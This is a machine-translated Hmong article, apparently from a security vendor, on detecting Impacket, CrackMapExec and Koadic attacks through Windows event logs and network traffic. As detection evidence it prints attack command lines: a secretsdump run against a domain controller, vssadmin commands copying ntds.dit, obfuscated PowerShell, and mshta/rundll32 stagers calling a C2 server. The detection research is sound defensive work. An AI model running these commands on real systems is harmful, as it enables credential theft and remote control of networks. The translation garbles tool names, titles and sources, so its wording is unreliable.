Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej

Tus naj npawb ntawm kev tawm tsam hauv kev lag luam tau loj hlob txhua xyoo: piv txwv Hauv 2017, 13% ntau qhov xwm txheej tshwj xeeb tau sau tseg tshaj li xyoo 2016, thiab thaum kawg ntawm 2018 - 27% ntau qhov xwm txheejtshaj lub sijhawm dhau los. Xws li cov uas lub cuab yeej ua haujlwm tseem ceeb yog Windows operating system. Hauv 2017-2018, APT Dragonfly, APT28, APT Muddy Dej tau tawm tsam tsoomfwv thiab cov koom haum tub rog hauv Tebchaws Europe, North America thiab Saudi Arabia. Thiab peb tau siv peb lub cuab yeej rau qhov no - Impacket, Nrib plebMapExec ΠΈ Koadic. Lawv qhov chaws qhib thiab muaj nyob ntawm GitHub.

Nws yog ib qho tsim nyog sau cia tias cov cuab yeej no tsis yog siv rau kev nkag mus rau thawj zaug, tab sis los tsim kev tawm tsam hauv kev tsim kho vaj tse. Attackers siv lawv ntawm ntau theem ntawm kev tawm tsam tom qab kev nkag mus ntawm ib puag ncig. Qhov no, los ntawm txoj kev, yog qhov nyuaj rau kev kuaj xyuas thiab feem ntau tsuas yog nrog kev pab ntawm thev naus laus zis txheeb xyuas cov kab ntawm kev cuam tshuam hauv kev sib txuas hauv network los yog cov cuab yeej tso cai tshawb xyuas cov kev ua haujlwm ntawm tus neeg tawm tsam tom qab nws tau nkag mus rau hauv cov txheej txheem. Cov cuab yeej muab ntau yam kev ua haujlwm, los ntawm kev xa cov ntaub ntawv mus rau kev cuam tshuam nrog kev sau npe thiab ua tiav cov lus txib ntawm lub tshuab chaw taws teeb. Peb tau kawm txog cov cuab yeej no los txiav txim lawv cov haujlwm hauv network.

Peb yuav tsum ua li cas:

  • Nkag siab li cas cov cuab yeej hacking ua haujlwm. Tshawb nrhiav seb cov neeg tawm tsam xav tau dab tsi los siv thiab cov thev naus laus zis uas lawv tuaj yeem siv tau.
  • Nrhiav dab tsi tsis pom los ntawm cov ntaub ntawv kev ruaj ntseg cov cuab yeej hauv thawj theem ntawm kev tawm tsam. Lub sijhawm tshawb nrhiav tej zaum yuav raug hla, vim tias tus neeg tawm tsam yog tus neeg tawm tsam sab hauv, lossis vim tias tus neeg tawm tsam tau siv lub qhov nyob hauv cov txheej txheem uas tsis tau paub dhau los. Nws tuaj yeem rov qab tau tag nrho cov saw hlau ntawm nws qhov kev ua, yog li muaj lub siab xav pom kev txav mus ntxiv.
  • Tshem tawm cov khoom cuav los ntawm cov cuab yeej tiv thaiv kev nkag. Peb yuav tsum tsis txhob hnov ​​​​qab tias thaum qee qhov kev ua haujlwm raug kuaj pom los ntawm kev tshawb nrhiav ib leeg, feem ntau ua tau yuam kev. Feem ntau nyob rau hauv lub infrastructure muaj ib tug txaus tus naj npawb ntawm txoj kev, indistinguishable los ntawm cov neeg raug cai thaum xub thawj siab ib muag, kom tau txais tej ntaub ntawv.

Cov cuab yeej no muab dab tsi rau cov neeg tawm tsam? Yog tias qhov no yog Impacket, tom qab ntawd cov neeg tawm tsam tau txais lub tsev qiv ntawv loj ntawm cov qauv uas tuaj yeem siv rau ntau theem ntawm kev tawm tsam uas ua raws tom qab rhuav tshem ib puag ncig. Ntau cov cuab yeej siv Impacket modules sab hauv - piv txwv li, Metasploit. Nws muaj dcomexec thiab wmiexec rau tej thaj chaw deb hais kom ua, secretsdump kom tau txais nyiaj los ntawm lub cim xeeb uas tau ntxiv los ntawm Impacket. Yog li ntawd, kev tshawb nrhiav kom raug ntawm cov haujlwm ntawm lub tsev qiv ntawv zoo li no yuav ua kom paub tseeb tias cov khoom siv derivatives.

Nws tsis yog qhov xwm txheej uas cov neeg tsim tau sau "Powed by Impacket" txog CrackMapExec (lossis tsuas yog CME). Tsis tas li ntawd, CME tau npaj ua haujlwm rau cov xwm txheej nrov: Mimikatz kom tau txais lo lus zais lossis lawv cov hashes, kev siv Meterpreter lossis tus neeg saib xyuas tebchaws Askiv rau kev tua cov chaw taws teeb, thiab Bloodhound ntawm lub nkoj.

Qhov thib peb lub cuab tam peb xaiv yog Koadic. Nws yog tsis ntev los no, nws tau nthuav tawm ntawm lub rooj sib tham thoob ntiaj teb hacker DEFCON 25 hauv 2017 thiab yog qhov txawv ntawm qhov tsis yog tus qauv: nws ua haujlwm ntawm HTTP, Java Script thiab Microsoft Visual Basic Script (VBS). Txoj hauv kev no yog hu ua nyob hauv av: lub cuab yeej siv cov txheej txheem ntawm kev vam thiab cov tsev qiv ntawv tsim rau hauv Windows. Cov neeg tsim hu nws COM Command & Control, lossis C3.

IMPACKET

Impacket lub luag haujlwm yog dav heev, xws li kev tshawb nrhiav hauv AD thiab sau cov ntaub ntawv los ntawm MS SQL servers sab hauv, mus rau cov tswv yim kom tau txais daim ntawv pov thawj: qhov no yog SMB relay nres, thiab tau txais cov ntaub ntawv ntds.dit uas muaj hashes ntawm tus neeg siv lo lus zais los ntawm tus tswj hwm sau npe. Impacket tseem ua tiav cov lus txib nyob deb siv plaub txoj kev sib txawv: WMI, Windows Scheduler Management Service, DCOM, thiab SMB, thiab yuav tsum muaj ntawv pov thawj los ua li ntawd.

Secretsdump

Cia peb saib ntawm secretsdump. Qhov no yog ib qho module uas tuaj yeem tsom ob qho tib si cov neeg siv tshuab thiab cov tswj hwm sau npe. Nws tuaj yeem siv tau kom tau txais cov ntawv theej ntawm thaj chaw nco LSA, SAM, SECURITY, NTDS.dit, yog li nws tuaj yeem pom ntawm ntau theem ntawm kev tawm tsam. Thawj kauj ruam hauv kev ua haujlwm ntawm module yog authentication ntawm SMB, uas yuav tsum tau tus neeg siv tus password lossis nws cov hash kom tau txais qhov Pass the Hash nres. Tom ntej no los ntawm kev thov kom qhib kev nkag mus rau Service Control Manager (SCM) thiab tau txais kev nkag mus rau npe ntawm winreg raws tu qauv, siv tus neeg tawm tsam tuaj yeem tshawb pom cov ntaub ntawv ntawm cov ceg ntawm kev txaus siab thiab tau txais txiaj ntsig ntawm SMB.

Hauv daim duab. 1 peb pom zoo li cas thaum siv winreg raws tu qauv, kev nkag tau siv tus yuam sij sau npe nrog LSA. Txhawm rau ua qhov no, siv DCERPC hais kom ua nrog opcode 15 - OpenKey.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 1. Qhib tus yuam sij sau npe siv winreg raws tu qauv

Tom ntej no, thaum nkag mus rau tus yuam sij tau txais, cov txiaj ntsig tau txais kev cawmdim nrog SaveKey hais kom ua nrog opcode 20. Impacket ua qhov no hauv txoj kev tshwj xeeb heev. Nws txuag cov nqi rau cov ntaub ntawv uas nws lub npe yog ib txoj hlua ntawm 8 random cim ntxiv nrog .tmp. Ntxiv thiab, ntxiv upload cov ntaub ntawv no tshwm sim ntawm SMB los ntawm System32 directory (Fig. 2).

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 2. Cov txheej txheem kom tau txais tus yuam sij sau npe los ntawm lub tshuab tej thaj chaw deb

Nws hloov tawm tias cov haujlwm zoo li no hauv lub network tuaj yeem tshawb pom los ntawm cov lus nug rau qee lub npe npe siv cov txheej txheem winreg, cov npe tshwj xeeb, cov lus txib thiab lawv cov lus txib.

Cov qauv no tseem tso cov kab hauv Windows qhov xwm txheej, ua kom yooj yim rau kev ntes. Piv txwv li, raws li ib tug tshwm sim ntawm executing cov lus txib

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Hauv Windows Server 2016 cav peb yuav pom cov txheej xwm tseem ceeb hauv qab no:

1. 4624 - chaw taws teeb Logon.
2. 5145 - tshawb xyuas cov cai nkag mus rau winreg tej thaj chaw deb kev pab cuam.
3. 5145 - tshawb xyuas cov cai nkag mus rau hauv System32 directory. Cov ntaub ntawv muaj lub npe random hais saum toj no.
4. 4688 - tsim cov txheej txheem cmd.exe uas tso tawm vssadmin:

β€œC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - tsim cov txheej txheem nrog cov lus txib:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - tsim cov txheej txheem nrog cov lus txib:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - tsim cov txheej txheem nrog cov lus txib:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Zoo li ntau cov cuab yeej siv tom qab siv, Impacket muaj cov qauv rau kev ua cov lus txib nyob deb. Peb yuav tsom mus rau smbexec, uas muab kev sib tham sib hais kom ua lub plhaub ntawm lub tshuab tej thaj chaw deb. Cov qauv no tseem yuav tsum muaj kev lees paub ntawm SMB, nrog rau tus password lossis tus password hash. Hauv daim duab. Hauv daim duab 3 peb pom ib qho piv txwv ntawm cov cuab yeej zoo li no ua haujlwm li cas, hauv qhov no nws yog tus tswj hwm hauv zos console.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 3. Sib tham sib smbexec console

Thawj kauj ruam ntawm smbexec tom qab authentication yog qhib SCM nrog OpenSCManagerW cov lus txib (15). Cov lus nug yog qhov tseem ceeb: MachineName teb yog DUMMY.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 4. Thov qhib Service Control Manager

Tom ntej no, cov kev pabcuam raug tsim los ntawm CreateServiceW hais kom ua (12). Nyob rau hauv cov ntaub ntawv ntawm smbexec, peb tuaj yeem pom tib cov lus txib tsim kho txhua lub sijhawm. Hauv daim duab. 5 ntsuab qhia txog cov lus txib tsis hloov pauv, daj qhia tias tus neeg tawm tsam tuaj yeem hloov pauv li cas. Nws yog ib qho yooj yim kom pom tias lub npe ntawm cov ntaub ntawv executable, nws cov npe thiab cov ntaub ntawv tso tawm tuaj yeem hloov pauv, tab sis tus so yog qhov nyuaj dua los hloov yam tsis muaj kev cuam tshuam cov logic ntawm Impacket module.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 5. Thov kom tsim ib qho kev pabcuam siv Tus Thawj Tswj Kev Pabcuam

Smbexec tseem tso cov cim pom tseeb hauv Windows qhov xwm txheej cav. Hauv Windows Server 2016 cav rau kev sib tham sib hais kom ua lub plhaub nrog ipconfig hais kom ua, peb yuav pom cov txheej xwm tseem ceeb hauv qab no:

1. 4697 - kev teeb tsa kev pabcuam ntawm tus neeg raug tsim txom lub tshuab:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - tsim cov txheej txheem cmd.exe nrog cov lus sib cav los ntawm point 1.
3. 5145 - tshawb xyuas cov cai nkag mus rau cov ntaub ntawv __output hauv C$ directory.
4. 4697 - kev teeb tsa kev pabcuam ntawm tus neeg raug tsim txom lub tshuab.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - tsim cov txheej txheem cmd.exe nrog cov lus sib cav los ntawm point 4.
6. 5145 - tshawb xyuas cov cai nkag mus rau cov ntaub ntawv __output hauv C$ directory.

Impacket yog lub hauv paus rau kev txhim kho cov cuab yeej tawm tsam. Nws txhawb yuav luag txhua qhov kev cai hauv Windows infrastructure thiab tib lub sijhawm nws muaj nws tus yam ntxwv nta. Nov yog qee qhov kev thov winreg, thiab kev siv SCM API nrog cov yam ntxwv hais kom ua, thiab cov ntaub ntawv npe hom, thiab SMB qhia SYSTEM32.

CRACKMAPEXEC

Cov cuab yeej CME yog tsim los ua kom cov haujlwm niaj hnub ua uas tus neeg tawm tsam yuav tsum ua kom nce qib hauv lub network. Nws tso cai rau koj los ua haujlwm ua ke nrog tus neeg saib xyuas lub teb chaws paub zoo thiab Meterpreter. Txhawm rau ua cov lus txib zais, CME tuaj yeem cuam tshuam lawv. Siv Bloodhound (ib lub cuab yeej tshawb nrhiav cais), tus neeg tawm tsam tuaj yeem ua haujlwm rau kev tshawb nrhiav rau kev sib tham ua haujlwm ntawm tus thawj tswj hwm.

Bloodhound

Bloodhound, raws li cov cuab yeej ib leeg, tso cai rau kev tshawb nrhiav qib siab hauv lub network. Nws sau cov ntaub ntawv hais txog cov neeg siv, tshuab, pab pawg, ntu thiab muab los ua PowerShell tsab ntawv lossis cov ntaub ntawv binary. LDAP lossis SMB-based raws tu qauv yog siv los sau cov ntaub ntawv. CME kev koom ua ke module tso cai rau Bloodhound rub tawm mus rau tus neeg raug tsim txom lub tshuab, khiav thiab tau txais cov ntaub ntawv khaws tseg tom qab ua tiav, yog li ua haujlwm ua haujlwm hauv lub kaw lus thiab ua rau lawv tsis tshua pom. Bloodhound graphical plhaub nthuav tawm cov ntaub ntawv khaws tseg hauv daim duab duab, uas tso cai rau koj nrhiav txoj hauv kev luv tshaj plaws los ntawm tus neeg tua lub tshuab mus rau tus thawj tswj hwm.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 6. Bloodhound Interface

Txhawm rau khiav ntawm tus neeg raug tsim txom lub tshuab, lub module tsim ib txoj haujlwm siv ATSVC thiab SMB. ATSVC yog qhov sib txuas rau kev ua haujlwm nrog Windows Task Scheduler. CME siv nws txoj haujlwm NetrJobAdd(1) los tsim cov haujlwm hauv lub network. Ib qho piv txwv ntawm qhov CME module xa yog qhia hauv daim duab. 7: Qhov no yog cmd.exe hais kom hu thiab obfuscated code nyob rau hauv daim ntawv ntawm kev sib cav nyob rau hauv XML hom.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Fig.7. Tsim ib txoj haujlwm ntawm CME

Tom qab cov haujlwm tau raug xa mus rau kev tua, tus neeg raug tsim txom lub tshuab pib Bloodhound nws tus kheej, thiab qhov no tuaj yeem pom hauv kev khiav tsheb. Lub module yog tus cwj pwm los ntawm LDAP cov lus nug kom tau txais cov qauv pawg, cov npe ntawm txhua lub tshuab thiab cov neeg siv hauv lub npe, thiab tau txais cov ntaub ntawv hais txog cov neeg siv nquag siv los ntawm SRVSVC NetSessEnum thov.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 8. Tau txais cov npe ntawm cov kev sib tham nquag ntawm SMB

Tsis tas li ntawd, tso Bloodhound rau ntawm tus neeg raug tsim txom lub tshuab nrog kev tshawb xyuas tau ua ke nrog ib qho kev tshwm sim nrog ID 4688 (tus txheej txheem tsim) thiab cov txheej txheem npe Β«C:WindowsSystem32cmd.exeΒ». Dab tsi yog qhov tseem ceeb ntawm nws yog cov kab lus hais kom ua:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Lub enum_avproducts module yog qhov nthuav heev los ntawm qhov pom ntawm kev ua haujlwm thiab kev siv. WMI tso cai rau koj siv WQL cov lus nug kom khaws cov ntaub ntawv los ntawm ntau yam khoom Windows, uas yog qhov tseem ceeb ntawm CME module siv. Nws tsim cov lus nug rau AntiSpywareProduct thiab AntiМirusProduct chav kawm txog cov cuab yeej tiv thaiv tau nruab rau ntawm tus neeg raug tsim txom lub tshuab. Txhawm rau kom tau txais cov ntaub ntawv tsim nyog, lub module txuas mus rau rootSecurityCenter2 namespace, tom qab ntawd tsim cov lus nug WQL thiab tau txais cov lus teb. Hauv daim duab. Daim duab 9 qhia txog cov ntsiab lus ntawm cov lus thov thiab cov lus teb. Hauv peb qhov piv txwv, Windows Defender tau pom.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 9. Kev ua haujlwm network ntawm enum_avproducts module

Feem ntau, WMI auditing (Trace WMI-Activity), nyob rau hauv uas nws cov xwm txheej koj tuaj yeem nrhiav cov ntaub ntawv muaj txiaj ntsig txog WQL cov lus nug, tej zaum yuav raug kaw. Tab sis yog tias nws tau qhib, ces yog cov ntawv enum_avproducts khiav, ib qho kev tshwm sim nrog ID 11 yuav tau txais kev cawmdim. Nws yuav muaj lub npe ntawm tus neeg siv uas tau xa daim ntawv thov thiab lub npe hauv rootSecurityCenter2 namespace.

Txhua qhov ntawm CME modules muaj nws cov khoom qub, yog nws cov lus nug WQL tshwj xeeb lossis tsim ib hom haujlwm hauv lub sijhawm ua haujlwm nrog obfuscation thiab Bloodhound-kev ua haujlwm tshwj xeeb hauv LDAP thiab SMB.

KOADIC

Ib qho tshwj xeeb ntawm Koadic yog siv JavaScript thiab VBScript cov neeg txhais lus ua rau Windows. Hauv qhov kev nkag siab no, nws ua raws li kev ua neej nyob ntawm thaj av sib txawv - uas yog, nws tsis muaj kev cuam tshuam sab nraud thiab siv cov cuab yeej Windows txheem. Qhov no yog ib qho cuab yeej rau tag nrho Command & Control (CnC), txij li tom qab kis tus kab mob "implant" raug ntsia rau ntawm lub tshuab, tso cai rau nws los tswj. Xws li lub tshuab, hauv Koadic terminology, hu ua "zombie." Yog tias muaj cov cai tsis txaus rau kev ua haujlwm puv ntoob ntawm tus neeg raug tsim txom, Koadic muaj peev xwm txhawb nqa lawv siv User Account Control bypass (UAC bypass) cov txheej txheem.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 10. Koadic Plhaub

Tus neeg raug tsim txom yuav tsum pib sib txuas lus nrog Command & Control server. Txhawm rau ua qhov no, nws yuav tsum tau hu rau URI uas tau npaj ua ntej thiab tau txais lub ntsiab Koadic lub cev siv ib qho ntawm cov theem. Hauv daim duab. Daim duab 11 qhia ib qho piv txwv rau mshta stager.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 11. Pib qhov kev sib tham nrog CnC server

Raws li cov lus teb sib txawv WS, nws paub meej tias kev ua tiav tshwm sim los ntawm WScript.Shell, thiab cov hloov pauv STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE muaj cov ntaub ntawv tseem ceeb txog qhov tsis muaj kev sib kho tam sim no. Nov yog thawj qhov kev thov-lus teb khub hauv HTTP kev sib txuas nrog CnC server. Cov kev thov tom ntej no ncaj qha ntsig txog kev ua haujlwm ntawm cov hu ua modules (implants). Tag nrho Koadic modules ua haujlwm tsuas yog nrog kev sib tham nrog CnC.

Mimikatz

Ib yam li CME ua haujlwm nrog Bloodhound, Koadic ua haujlwm nrog Mimikatz ua ib qho kev pabcuam cais thiab muaj ntau txoj hauv kev los tso nws. Hauv qab no yog ib qho kev thov-lus teb rau rub tawm Mimikatz cog.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 12. Hloov Mimikatz mus rau Koadic

Koj tuaj yeem pom tias URI hom ntawv hauv qhov kev thov tau hloov pauv li cas. Tam sim no nws muaj tus nqi rau qhov sib txawv ntawm csrf, uas yog lub luag haujlwm rau cov qauv xaiv. Tsis txhob mloog nws lub npe; Peb txhua tus paub tias CSRF feem ntau to taub txawv. Cov lus teb yog tib lub cev tseem ceeb ntawm Koadic, uas cov cai cuam tshuam nrog Mimikatz tau ntxiv. Nws loj heev, yog li cia peb saib cov ntsiab lus tseem ceeb. Ntawm no peb muaj lub tsev qiv ntawv Mimikatz encoded hauv base64, serialized .NET chav kawm uas yuav txhaj nws, thiab cov lus sib cav kom tso tawm Mimikatz. Cov txiaj ntsig kev ua tiav yog kis thoob lub network hauv cov ntawv ntshiab.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 13. Qhov tshwm sim ntawm kev khiav Mimikatz ntawm lub tshuab tej thaj chaw deb

Exec_cmd

Koadic kuj muaj cov qauv uas tuaj yeem ua cov lus txib nyob deb. Ntawm no peb yuav pom tib txoj kev tsim URI thiab cov paub sib txawv thiab csrf sib txawv. Nyob rau hauv cov ntaub ntawv ntawm exec_cmd module, code yog ntxiv rau lub cev uas muaj peev xwm ua raws li cov lus txib ntawm lub plhaub. Hauv qab no yog pom cov cai no muaj nyob rau hauv HTTP teb ntawm CnC server.

Yuav ua li cas txhawm rau txheeb xyuas kev tawm tsam ntawm Windows infrastructure: kawm hacker cov cuab yeej
Rice. 14. Implant code exec_cmd

GAWTUUGCFI kuj sib txawv nrog cov paub WS tus cwj pwm yog xav tau rau kev ua lej. Nrog nws cov kev pab, lub cog hu rau lub plhaub, ua ob ceg ntawm code - shell.exec nrog rov qab los ntawm cov ntaub ntawv tso zis kwj thiab shell.run tsis rov qab.

Koadic tsis yog ib qho cuab yeej siv, tab sis nws muaj nws cov khoom qub uas nws tuaj yeem pom hauv kev khiav tsheb raug cai:

  • tsim tshwj xeeb ntawm HTTP thov,
  • siv winHttpRequests API,
  • tsim cov khoom WScript.Shell ntawm ActiveXObject,
  • loj executable lub cev.

Thawj qhov kev sib txuas yog pib los ntawm stager, yog li nws muaj peev xwm txheeb xyuas nws cov haujlwm los ntawm Windows cov xwm txheej. Rau mshta, qhov no yog qhov xwm txheej 4688, uas qhia txog kev tsim cov txheej txheem nrog tus cwj pwm pib:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Thaum Koadic tab tom khiav, koj tuaj yeem pom lwm cov xwm txheej 4688 nrog cov cwj pwm uas ua rau nws zoo kawg nkaus:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

tshawb pom

Txoj kev ua neej nyob ntawm thaj av sib txawv yog tau txais koob meej ntawm cov neeg ua txhaum cai. Lawv siv cov cuab yeej thiab cov txheej txheem tsim rau hauv Windows rau lawv cov kev xav tau. Peb tab tom pom cov cuab yeej nrov Koadic, CrackMapExec thiab Impacket ua raws li txoj cai no nce ntxiv hauv APT cov lus ceeb toom. Tus naj npawb ntawm rab rawg ntawm GitHub rau cov cuab yeej no tseem loj hlob, thiab cov tshiab tau tshwm sim (tam sim no muaj txog ib txhiab ntawm lawv tam sim no). Cov qauv no tau txais txiaj ntsig vim nws qhov yooj yim: cov neeg tawm tsam tsis xav tau cov cuab yeej thib peb; lawv twb nyob ntawm cov neeg raug tsim txom cov tshuab thiab pab lawv hla kev ntsuas kev nyab xeeb. Peb tsom mus rau kev kawm kev sib txuas lus hauv network: txhua lub cuab yeej tau piav qhia saum toj no tso nws cov kab hauv kev sib txuas hauv network; kev kawm ntxaws ntawm lawv tau tso cai rau peb qhia peb cov khoom PT Network Attack Discovery ntes lawv, uas thaum kawg pab tshawb xyuas tag nrho cov saw ntawm cyber xwm txheej cuam tshuam nrog lawv.

sau phau ntawv:

  • Anton Tyurin, Tus Thawj Saib Xyuas Kev Pabcuam Tus Kws Lij Choj, PT Expert Security Center, Txoj Haujlwm Zoo
  • Egor Podmokov, tus kws tshaj lij, PT Expert Security Center, Positive Technologies

Tau qhov twg los: www.hab.com

Ntxiv ib saib